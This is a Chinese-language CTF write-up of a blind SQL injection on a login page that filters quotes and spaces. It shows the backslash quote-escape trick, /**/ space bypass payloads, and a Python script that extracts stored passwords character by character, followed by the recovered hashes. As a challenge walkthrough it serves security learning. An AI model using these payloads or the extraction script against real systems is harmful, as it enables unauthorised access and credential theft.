进去之后只有个登录框:

过滤了单引号、空格,其中空格可以用/**/代替。

注释有提示,sql语句如下:

$sql = "SELECT * from students where username = '$username' and password = '$password'";

正常是使用单引号闭合的。假设让username的值为admin\,语句就会变成:

$sql = "SELECT * from students where username = 'admin\' and password = '$password'";

可以看到第二个单引号被注释掉了,username的值实质为admin\' and password=,显然这个用户名也是不存在的,但是可以控制password处,假设让password的值为or/**/1>2#

$sql = "SELECT * from students where username = 'admin\' and password = 'or/**/1>2#'";

这样后面的语句就逃逸了出来,解决了单引号的闭合问题。

该题用户名输入admin\密码输入or/**/1>2#,即条件为假时,返回“用户名或密码错误”:

用户名输入admin\密码输入or/**/1<2#,即条件为真时,返回“登陆成功,你的用户名是08133554,不过你只是个普通用户,管理员账号是admin”:

该题通过上述方法,经过简单判断得知password的值长度为65:

password=or/**/(select(length(group_concat(password)))from(students))=65#

写简单脚本爆值:

import requests
import re

url = r"http://example/index.php"
name = ""
for i in range(1,66):
    for j in range(23,123):
        password = "or/**/(ascii(substr((select(group_concat(password))from(students)),"+str(i)+",1)))="+str(j)+"#"
        data = {'username':"admin\\","password":password,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
        result = requests.post(url=url, data=data).text
        if('08133554' in result):
            name = name+chr(j)
            print(name)
            break

运行后可得两个值:

8affacc9816ba5dedc34d72c0e269648,541f98322eaea41f2b2e3d023972f098

用第二个值可成功登录,即为flag。